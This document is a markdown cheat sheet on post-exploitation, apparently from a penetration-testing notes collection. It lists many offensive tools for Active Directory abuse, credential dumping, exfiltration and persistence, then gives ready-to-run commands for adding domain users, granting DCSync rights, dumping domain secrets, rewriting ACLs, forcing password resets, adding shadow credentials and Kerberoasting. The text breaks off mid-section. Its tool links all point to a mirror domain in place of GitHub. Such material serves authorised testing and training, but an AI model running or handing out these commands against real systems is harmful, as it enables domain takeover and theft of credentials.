10_post_exploitation.md

# Post Exploitation

- [Resources](#resources)

## Table of Contents

- [Account Operators Group Membership](#account-operators-group-membership)
- [accesschk](#accesschk)
- [Access Control Lists / Access Control Entries](#access-control-lists-acl--access-control-entries-ace)
- [Active Directory](#active-directory)
- [Active Directory Certificate Services (AD CS)](#active-directory-certificate-services-ad-cs)
- [ADMiner](#adminer)
- [Aliasr](#aliasr)
- [Apache2](#apache2)
- [AppLocker](#applocker)
- [APT](#apt)
- [arua2c](#arua2c)
- [BadSuccessor](#badsuccessor)
- [BadSuccessor.py](#badsuccessorpy)
- [Bash](#bash)
- [Bash Debugging Mode](#bash-debugging-mode)
- [Bash String Slicing](#bash-string-slicing)
- [BloodHound](#bloodhound)
- [BloodHound-Legacy](#bloodhound-legacy)
- [BloodHound Python](#bloodhound-python)
- [bloodyAD](#bloodyad-1)
- [Certify](#certify)
- [Certipy](#certipy)
- [ClamAV](#clamav)
- [Coercer](#coercer)
- [dd](#dd)
- [DNS](#dns)
- [Data Protection API (DPAPI)](#data-protection-api-dpapi)
- [enum4linux](#enum4linux)
- [enum4linux-ng](#enum4linux-ng)
- [env](#env)
- [EtwStartWebClient](#etwstartwebclient)
- [Evil-WinRM](#evil-winrm)
- [evil-winrm-py](#evil-winrm-py)
- [Excel](#excel)
- [find](#find)
- [FullPowers](#fullpowers)
- [functions](#functions)
- [gdbus](#gdbus)
- [gem](#gem)
- [Git](#git)
- [Group Managed Service Accounts (GMSA)](#group-managed-service-accounts-gmsa)
- [gMSADumper](#gmsadumper)
- [Google Chrome](#google-chrome)
- [grep](#grep)
- [gsocket](#gsocket)
- [find](#find)
- [functions](#functions)
- [Impacket](#impacket)
- [Internet Information Service (IIS)](#internet-information-service-iis)
- [iptables](#iptables)
- [JAWS](#jaws)
- [Kerberos](#kerberos)
- [Kiosk Breakout](#kiosk-breakout)
- [Krbrelayx](#krbrelayx)
- [LAPS](#laps)
- [LDAP](#ldap)
- [ldapmodify](#ldapmodify)
- [ldapsearch](#ldapsearch)
- [LD_PRELOAD](#ld_preload)
- [LD_LIBRARY_PATH](#ld_library_path)
- [Libre Office](#libre-office)
- [Linux](#linux)
- [Linux Wildcards](#linux-wildcards)
- [logrotten](#logrotten)
- [Lsass](#lsass)
- [Lua](#lua)
- [machinectl](#machinectl)
- [Microsoft Windows](#microsoft-windows)
- [Microsoft Windows Defender](#microsoft-windows-defender)
- [Minimalistic Offensive Security Tools](#minimalistic-offensive-security-tools)
- [New Technology Lan Manager (NTLM)](#new-technology-lan-manager-ntlm)
- [NGINX](#nginx)
- [NTDS.Sqlite](#ntdssqlite)
- [pacman](#pacman)
- [PassTheCert](#passthecert)
- [Path Variable Hijacking](#path-variable-hijacking)
- [Perl](#perl)
- [PetitPotam](#petitpotam)
- [PHP7.2](#php72)
- [pika](#pika)
- [Ping Sweep](#ping-sweep)
- [PKINITtools](#pkinittools)
- [plotting](#plotting)
- [Port Scanning](#port-scanning)
- [PoshADCS](#poshadcs)
- [powercat](#powercat)
- [Powermad](#powermad)
- [PowerShell](#powershell-1)
- [PowerShell Constrained Language Mode (CLM)](#powershell-constrained-language-mode-clm)
- [PowerSploit](#powersploit)
- [PowerView](#powerview)
- [PowerView.py](#powerviewpy)
- [Pre-created Computer Accounts](#pre-created-computer-accounts)
- [pre2k](#pre2k)
- [PRET](#pret)
- [PrivescCheck](#privesccheck)
- [procdump](#procdump)
- [PsExec](#psexec)
- [pspy](#pspy)
- [pth-toolkit](#pth-toolkit)
- [pwncat](#pwncat)
- [Python](#python)
- [pyGPOAbuse](#pygpoabuse)
- [pyWhisker](#pywhisker)
- [rbash](#rbash)
- [Recover Files from Recycle Bin](#recover-files-from-recycle-bin)
- [relayd](#relayd)
- [Relaying](#relaying)
- [Remote Disk Image Dumping](#remote-disk-image-dumping)
- [restic](#restic)
- [rpcclient](#rpcclient)
- [Rubeus](#rubeus)
- [RubeusToCcache](#rubeustoccache)
- [RunasCs](#runascs)
- [Seatbelt](#seatbelt)
- [setcap](#setcap)
- [SetOpLock](#setoplock)
- [Shadow Credentials](#shadow-credentials-3)
- [Shadow Group Membership](#shadow-group-membership)
- [Shared Library Misconfiguration](#shared-library-misconfiguration)
- [SharpDPAPI](#sharpdpapi)
- [SharpGPOAbuse](#sharpgpoabuse)
- [SharpHound](#sharphound)
- [SharpStartWebClient](#sharpstartwebclient)
- [Sherlock](#sherlock)
- [smbpasswd](#smbpasswd)
- [SSH](SSH)
- [Stabilizing Reverse Shells](#stabilizing-reverse-shells)
- [systemctl](#systemctl)
- [Time Stomping](#time-stomping)
- [Titanis](#titanis)
- [Universal Privilege Escalation and Persistence Printer](#universal-privilege-escalation-and-persistence-printer)
- [User Account Control (UAC) Bypass](#user-account-control-uac-bypass)
- [User Group Exploitation](#user-group-exploitation)
- [VSS](#vss)
- [WDigest](#wdigest)
- [Whisker](#whisker)
- [Windows-Exploit-Suggester](#windows-exploit-suggester)
- [winexe](#winexe)
- [winrmexec](#winrmexec)
- [World Writeable Directories](#world-writeable-directories)

## Resources

| Name | Description | URL |
| --- | --- | --- |
| ADCSKiller | An ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer | https://github.com/grimlockx/ADCSKiller |
| ADCSTemplate | A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds. Could also work in production to move templates between AD CS environments. | https://github.com/GoateePFE/ADCSTemplate |
| ADeleginator | A companion tool that uses ADeleg to find insecure trustee and resource delegations in Active Directory | https://github.com/techspence/ADeleginator |
| ADMiner | AD Miner is an Active Directory audit tool that leverages cypher queries to crunch data from the #Bloodhound graph database to uncover security weaknesses | https://github.com/Mazars-Tech/AD_Miner |
| adPEAS | winPEAS, but for Active Directory | https://github.com/ajm4n/adPEAS |
| adPEAS | Powershell tool to automate Active Directory enumeration. | https://github.com/61106960/adPEAS |
| BadSuccessor | This repository contains tooling related to the BadSuccessor attack - a novel Active Directory privilege escalation technique that abuses a vulnerability in a feature introduced in Windows Server 2025. | https://github.com/akamai/BadSuccessor |
| BadSuccessor | A penetration testing tool that exploits the dMSA (delegated Managed Service Account) privilege escalation vulnerability in Windows Server 2025 Active Directory environments. | https://github.com/cybrly/badsuccessor |
| BloodHound | Six Degrees of Domain Admin | https://github.com/SpecterOps/BloodHound |
| BloodHound | Fork of BloodHound with PKI nodes and edges for Certipy along with some minor personal improvements | https://github.com/ly4k/BloodHound |
| BloodHound-Legacy | This repository is for BloodHound Legacy (version 4), which was last updated in 2023 and is no longer maintained. It will be archived in the near future. | https://github.com/SpecterOps/BloodHound-Legacy |
| BloodHound-Legacy Collectors | List of BloodHound Collectors | https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors |
| BloodHound Docker | BloodHound Docker Ready to Use | https://github.com/belane/docker-bloodhound |
| BloodHound Python | A Python based ingestor for BloodHound | https://github.com/dirkjanm/BloodHound.py |
| bloodhound-quickwin | Simple script to extract useful informations from the combo BloodHound + Neo4j | https://github.com/kaluche/bloodhound-quickwin |
| bloodyAD | BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using bloodyAD.py or automatically by combining pathgen.py and autobloody.py. | https://github.com/CravateRouge/bloodyAD |
| Cable | .NET post-exploitation toolkit for Active Directory reconnaissance and exploitation | https://github.com/logangoins/Cable |
| Certify | Active Directory certificate abuse. | https://github.com/GhostPack/Certify |
| Certipy | Tool for Active Directory Certificate Services enumeration and abuse | https://github.com/ly4k/Certipy |
| Certipy | Tool for Active Directory Certificate Services enumeration and abuse | https://github.com/Deloitte-OffSecResearch/Certipy |
| certipy-merged | Tool for Active Directory Certificate Services enumeration and abuse | https://github.com/zimedev/certipy-merged |
| check_vulnerabledrivers.ps1 | A quick script to check for vulnerable drivers. Compares drivers on system with list from loldrivers.io | https://gist.github.com/api0cradle/d52832e36aaf86d443b3b9f58d20c01d |
| Coercer | A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods. | https://github.com/p0dalirius/Coercer |
| CSExec | An implementation of PSExec in C# | https://github.com/malcomvetter/CSExec |
| DLLSideloader | PowerShell script to generate "proxy" counterparts to easily perform DLL Sideloading | https://github.com/Flangvik/DLLSideloader |
| dnsteal | This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests. | https://github.com/m57/dnsteal |
| enum4linux | A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts. | https://github.com/CiscoCXSecurity/enum4linux |
| enum4linux-ng | A next generation version of enum4linux. | https://github.com/cddmp/enum4linux-ng |
| EvilTree | A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. | https://github.com/t3l3machus/eviltree |
| Evil-WinRM | The ultimate WinRM shell for hacking/pentesting | https://github.com/Hackplayers/evil-winrm |
| evil-winrm-py | Execute commands interactively on remote Windows machines using the WinRM protocol | https://github.com/adityatelange/evil-winrm-py |
| FindUncommonShares | FindUncommonShares is a Python script allowing to quickly find uncommon shares in vast Windows Domains, and filter by READ or WRITE accesses.. | https://github.com/p0dalirius/FindUncommonShares |
| FullPowers | Recover the default privilege set of a LOCAL/NETWORK SERVICE account | https://github.com/itm4n/FullPowers |
| GhostPack-Compiled Binaries | Compiled Binaries for Ghostpack (.NET v4.0) | https://github.com/r3motecontrol/Ghostpack-CompiledBinaries |
| Goexec | Windows remote execution multitool | https://github.com/FalconOpsLLC/goexec |
| gopacket | Gopacket is a clean Go implementation of Impacket, a library intended for working with network protocols. | https://github.com/mandiant/gopacket |
| GTFOBins | GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. | https://gtfobins.github.io/ |
| HEKATOMB | Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers and uses Domain backup keys to decrypt them. | https://github.com/Processus-Thief/HEKATOMB |
| Impacket | Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. | https://github.com/fortra/impacket |
| Impacket Static Binaries | Standalone binaries for Linux/Windows of Impacket's examples | https://github.com/ropnop/impacket_static_binaries |
| JAWS | JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. | https://github.com/411Hall/JAWS |
| KeyTabExtract | Extracts Key Values from .keytab files | https://github.com/sosdave/KeyTabExtract |
| Knows More | KnowsMore is a swiss army knife tool for pentesting Microsoft Active Directory (NTLM Hashes, BloodHound, NTDS and DCSync). | https://github.com/helviojunior/knowsmore |
| KrbRelay | Framework for Kerberos relaying | https://github.com/cube0x0/KrbRelay |
| KrbRelayUp | KrbRelayUp - a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings). | https://github.com/Dec0ne/KrbRelayUp |
| Krbrelayx | Kerberos unconstrained delegation abuse toolkit | https://github.com/dirkjanm/krbrelayx |
| LAPSDumper | Dumping LAPS from Python | https://github.com/n00py/LAPSDumper |
| LES: Linux privilege escalation auditing tool | Linux privilege escalation auditing tool | https://github.com/The-Z-Labs/linux-exploit-suggester |
| LinEnum | Privilege Escalation Enumeration | https://github.com/rebootuser/LinEnum |
| linWinPwn | linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks | https://github.com/lefayjey/linWinPwn |
| Locksmith | A small tool built to find and fix common misconfigurations in Active Directory Certificate Services. | https://github.com/TrimarcJake/Locksmith |
| LoFP | Living off the False Positive! | https://br0k3nlab.com/LoFP |
| LOLAD | Living Off The Land and Exploitation Active Directory | https://lolad-project.github.io/# |
| LOLAPPS | LOLAPPS is a compendium of applications that can be used to carry out day-to-day exploitation. | https://lolapps-project.github.io/# |
| LOLBAS | The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques. | https://lolbas-project.github.io/# |
| LOLBins CTI-Driven | The LOLBins CTI-Driven (Living-Off-the-Land Binaries Cyber Threat Intelligence Driven) is a project that aims to help cyber defenders understand how LOLBin binaries are used by threat actors during an intrusion in a graphical and digestible format for the TIPs platform using the STIX format. | https://lolbins-ctidriven.vercel.app |
| LOLDrivers | Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats. | https://www.loldrivers.io |
| LOLESXi | LOLESXi is a curated compilation of binaries/scripts available in VMware ESXi that are were used to by adversaries in their intrusions. | https://lolesxi-project.github.io/LOLESXi/# |
| LOFLCAB | Living off the Foreign Land Cmdlets and Binaries | https://lofl-project.github.io |
| LOOBins | Living Off the Orchard: macOS Binaries (LOOBins) is designed to provide detailed information on various built-in macOS binaries and how they can be used by threat actors for malicious purposes. | https://www.loobins.io |
| lsassy | Python tool to remotely extract credentials on a set of hosts. | https://github.com/Hackndo/lsassy |
| Moriaty | Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential exploits for Privilege Escalation in Windows environments. | https://github.com/BC-SECURITY/Moriarty |
| nanodump | LSASS dumper | https://github.com/fortra/nanodump |
| NTDS.Sqlite | A small utility to translate NTDS.dit files to SQLite format. | https://github.com/almandin/ntdsdotsqlite |
| NTLMRelay2Self | An other No-Fix LPE, NTLMRelay2Self over HTTP (Webdav). | https://github.com/med0x2e/NTLMRelay2Self |
| Obfuscated SharpCollection | Attempt at Obfuscated version of SharpCollection | https://github.com/Flangvik/ObfuscatedSharpCollection |
| Outgoing Port Tester | This server listens on all TCP ports, allowing you to test any outbound TCP port. | http://portquiz.net |
| Outpacket | This cheatsheet maps common impacket workflows to their modern alternatives | https://github.com/n00py/Outpacket |
| PassTheCert | Proof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel | https://github.com/AlmondOffSec/PassTheCert |
| PEASS-ng | Privilege Escalation Awesome Scripts SUITE new generation | https://github.com/carlospolop/PEASS-ng |
| Ping Castle | Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework. | https://github.com/vletoux/pingcastle |
| PKINITtools | Tools for Kerberos PKINIT and relaying to AD CS | https://github.com/dirkjanm/PKINITtools |
| powercat | Netcat: The powershell version. | https://github.com/besimorhino/powercat |
| Powermad | PowerShell MachineAccountQuota and DNS exploit tools | https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1 |
| PowerSharpPack | Many useful offensive CSharp Projects wraped into Powershell for easy usage. | https://github.com/S3cur3Th1sSh1t/PowerSharpPack |
| PowershellKerberos | Some scripts to abuse kerberos using Powershell | https://github.com/MzHmO/PowershellKerberos |
| PowerShell-Suite | My musings with PowerShell | https://github.com/FuzzySecurity/PowerShell-Suite |
| PowerSploit | PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. | https://github.com/PowerShellMafia/PowerSploit |
| PowerUp | PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations. | https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 |
| PowerView | PowerView is a PowerShell tool to gain network situational awareness on Windows domains. | https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 |
| PowerView.py | Just another Powerview alternative but on steroids | https://github.com/aniqfakhrul/powerview.py |
| PPLdump | Dump the memory of a PPL with a userland exploit | https://github.com/itm4n/PPLdump |
| Pre2k | Pre2k is a tool to query for the existence of pre-windows 2000 computer objects which can be leveraged to gain a foothold in a target domain as discovered by TrustedSec's @Oddvarmoe. | https://github.com/garrettfoster13/pre2k |
| Priv2Admin | Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS. | https://github.com/gtworek/Priv2Admin |
| PrivescCheck | Privilege Escalation Enumeration Script for Windows | https://github.com/itm4n/PrivescCheck |
| PSPKIAudit | PowerShell toolkit for AD CS auditing based on the PSPKI toolkit. | https://github.com/GhostPack/PSPKIAudit |
| pspy | pspy is a command line tool designed to snoop on processes without need for root permissions. | https://github.com/DominicBreuker/pspy |
| pth-toolkit | A modified version of the passing-the-hash tool collection https://code.google.com/p/passing-the-hash/ designed to be portable and work straight out of the box even on the most 'bare bones' systems. | https://github.com/byt3bl33d3r/pth-toolkit |
| pwncat | Post-Exploitation Platform | https://github.com/calebstewart/pwncat |
| pyGPOAbuse | Partial python implementation of SharpGPOAbuse | https://github.com/Hackndo/pyGPOAbuse |
| pypykatz | Mimikatz implementation in pure Python | https://github.com/skelsec/pypykatz |
| PyWhisker | Python version of the C# tool for "Shadow Credentials" attacks | https://github.com/ShutdownRepo/pywhisker |
| RemoteKrbRelay | Remote Kerberos Relay made easy! Advanced Kerberos Relay Framework | https://github.com/CICADA8-Research/RemoteKrbRelay |
| RemoteKrbRelayx | A tool for coercing and relaying Kerberos authentication over DCOM and RPC. | https://github.com/OleFredrik1/remoteKrbRelayx |
| Rubeus | Rubeus is a C# toolset for raw Kerberos interaction and abuses. | https://github.com/GhostPack/Rubeus |
| RunasCs | RunasCs - Csharp and open version of windows builtin runas.exe | https://github.com/antonioCoco/RunasCs |
| rustcat | Rustcat(rcat) - The modern Port listener and Reverse shell | https://github.com/robiot/rustcat |
| RustHound | Active Directory data collector for BloodHound written in rust. | https://github.com/OPENCYBER-FR/RustHound |
| scavenger | scavenger is a multi-threaded post-exploitation scanning tool for scavenging systems, finding most frequently used files and folders as well as "interesting" files containing sensitive information. | https://github.com/SpiderLabs/scavenger |
| ScriptSentry | ScriptSentry finds misconfigured and dangerous logon scripts. | https://github.com/techspence/ScriptSentry |
| SCShell | Fileless lateral movement tool that relies on ChangeServiceConfigA to run command | https://github.com/Mr-Un1k0d3r/SCShell |
| Seatbelt | Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. | https://github.com/GhostPack/Seatbelt |
| SeBackupPrivilege | Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access to. | https://github.com/giuliano108/SeBackupPrivilege |
| SharpADWS | Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS). | https://github.com/wh0amitz/SharpADWS |
| SharpChromium | .NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins. | https://github.com/djhohnstein/SharpChromium |
| SharpCollection | Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines. | https://github.com/Flangvik/SharpCollection |
| SharpDPAPI | SharpDPAPI is a C# port of some Mimikatz DPAPI functionality. | https://github.com/GhostPack/SharpDPAPI |
| SharpEventPersist | Persistence by writing/reading shellcode from Event Log | https://github.com/improsec/SharpEventPersist |
| SharpExfiltrate | Modular C# framework to exfiltrate loot over secure and trusted channels. | https://github.com/Flangvik/SharpExfiltrate |
| SharpHound | C# Data Collector for BloodHound | https://github.com/SpecterOps/SharpHound |
| SharpStartWebclient | Programmatically start WebClient from an unprivileged session to enable that juicy privesc. | https://github.com/eversinc33/SharpStartWebclient |
| SharpStay | .NET project for installing Persistence | https://github.com/0xthirteen/SharpStay |
| SharpSuccessor | SharpSuccessor is a .NET Proof of Concept (POC) for fully weaponizing Yuval Gordon’s (@YuG0rd) BadSuccessor attack from Akamai. | https://github.com/logangoins/SharpSuccessor |
| SharPyShell | SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications | https://github.com/antonioCoco/SharPyShell |
| Sharp-Suite | Also known by Microsoft as Knifecoat hot_pepper | https://github.com/FuzzySecurity/Sharp-Suite |
| SharpView | C# implementation of harmj0y's PowerView | https://github.com/tevora-threat/SharpView |
| Sherlock | PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. | https://github.com/rasta-mouse/Sherlock |
| SilentHound | Quietly enumerate an Active Directory Domain via LDAP parsing users, admins, groups, etc. | https://github.com/layer8secure/SilentHound |
| SMBeagle | SMBeagle - Fileshare auditing tool. | https://github.com/punk-security/smbeagle |
| static-binaries | This repo contains a bunch of statically-linked binaries of various tools, along with the Dockerfiles / other build scripts that can be used to build them. | https://github.com/andrew-d/static-binaries |
| SUDO_KILLER | A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo for linux privilege escalation. | https://github.com/TH3xACE/SUDO_KILLER |
| targetedKerberoast | Kerberoast with ACL abuse capabilities  | https://github.com/ShutdownRepo/targetedKerberoast |
| tickey | Tool to extract Kerberos tickets from Linux kernel keys. | https://github.com/TarlogicSecurity/tickey |
| Titanis | Windows protocol library, including SMB and RPC implementations, among others. | https://github.com/trustedsec/Titanis |
| WADComs | WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. | https://wadcoms.github.io |
| Watson | Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities. | https://github.com/rasta-mouse/Watson |
| WESNG | WES-NG is a tool based on the output of Windows' systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. | https://github.com/bitsadmin/wesng
| Whisker | Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account. | https://github.com/eladshamir/Whisker |
| Windows-privesc-check | Tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases). | https://github.com/pentestmonkey/windows-privesc-check |
| Windows Privilege Escalation Fundamentals | How-to Windows Privilege Escalation | https://www.fuzzysecurity.com/tutorials/16.html |
| Windows Privilege Escalation | Windows privlege escalation methodology | https://github.com/frizb/Windows-Privilege-Escalation |
| WinPwn | Automation for internal Windows Penetrationtest / AD-Security | https://github.com/S3cur3Th1sSh1t/WinPwn |
| winrmexec | Impack-only implementation of WinRM protocol with support for NTLM and Kerberos auth | https://github.com/ozelis/winrmexec |
| wmiexec-Pro | New generation of wmiexec.py | https://github.com/XiaoliChan/wmiexec-Pro |
| WorldWritableDirs.txt | World-writable directories in %windir% | https://gist.github.com/mattifestation/5f9de750470c9e0e1f9c9c33f0ec3e56 |

## Account Operators Group Membership

### Add User

```cmd
PS C:\> net user <USERNAME> <PASSWORD> /add /domain
PS C:\> net group "Exchange Windows Permissions" /add <USERNAME>
```

### Import PowerView

```cmd
PS C:\> powershell -ep bypass
PS C:\> . .\PowerView.ps1
```

### Add DCSync Rights

```cmd
PS C:\> $pass = convertto-securestring '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $pass)
PS C:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAIN>,DC=<DOMAIN>" -PrincipalIdentity <USERNAME> -Rights DCSync
```

### DCSync

```console
$ impacket-secretsdump '<USERNAME>:<PASSWORD>@<RHOST>'
```

## accesschk

### Checking File Permissions

```cmd
C:\> .\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"
```

### Checking Service Permissions

```cmd
C:\> .\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc
```

### Checking Path Permissions to find Unquoted Service Paths

```cmd
C:\> .\accesschk.exe /accepteula -uwdq C:\
C:\> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
C:\> .\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"
```

### Checking Registry Entries

```cmd
C:\> .\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>
```

## Access Control Lists (ACL) / Access Control Entries (ACE)

### General Description

- ACL: Access Control List
- ACE: Access Control Entry
- DACL: Discretionary Access Control List
- SACL: System Access Control List

```console
+ ACL
  - DACL
    - ACE
    - ACE
  - SACL
    - ACE
    - ACE
```

### AddAllowedToAct

```cmd
PS C:\> Set-ADComputer -Identity <RHOST> -PrincipalsAllowedToDelegateToAccount <RHOST>$
```

```console
$ impacket-getST <DOMAIN>/<USERNAME> -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
$ impacket-getST <DOMAIN>/<USERNAME>$ -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
$ impacket-getST <DOMAIN>/<USERNAME> -k -spn <USERNAME>/<RHOST> -impersonate <USERNAME>
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-smbexec -k -no-pass '<DOMAIN>/<USERNAME>@<RHOST>'
```

### AddSelf

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add groupMember '<USERNAME>' '<GROUP>'
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k add groupMember '<USERNAME>' '<GROUP>'
```

### ForceChangePassword

```console
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> --kerberos -u <USERNAME> -p <PASSWORD> set password '<USERNAME>' '<PASSWORD>'
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k set password '<USERNAME>' '<PASSWORD>'
```

### GenericAll

```console
$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>'/'<USERNAME>':'<PASSWORD>'
```

#### Shadow Credentials

```console
$ certipy-ad shadow auto -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -account '<USERNAME>'
```

### GenericWrite

#### Targeted Kerberoast

> https://github.com/ShutdownRepo/targetedKerberoast

```console
$ python3 targetedKerberoast.py -v -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>'
```

#### Shadow Credentials

> https://github.com/ShutdownRepo/pywhisker

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'add'
```

or 

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'add' --filename <OBJECT>
```

### ReadGMSAPassword

```console
$ netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
```

### WriteDACL

> https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

```cmd
PS C:\> $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
PS C:\> Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync
```

### WriteOwner

#### dacledit.py

> https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py

```console
$ python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -dc-ip <RHOST> -debug
$ python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>' -k -dc-ip <RHOST> -debug
$ python3 dacledit.py -action 'write' -rights 'FullControl' -principal '<USERNAME>' -target-dn 'CN=<GROUP>,CN=<GROUP>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>'
$ python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -no-pass -dc-ip <RHOST>
$ python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -use-ldaps -dc-ip <RHOST>
```

##### Fixing msada_guids Error

```console
#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
```

Then put the `msada_guids.py` into the same directory as `dacledit.py`

> https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py

#### owneredit.py

> https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py

```console
$ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debug
```

### WriteSPN

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set object '<USERNAME>' servicePrincipalName
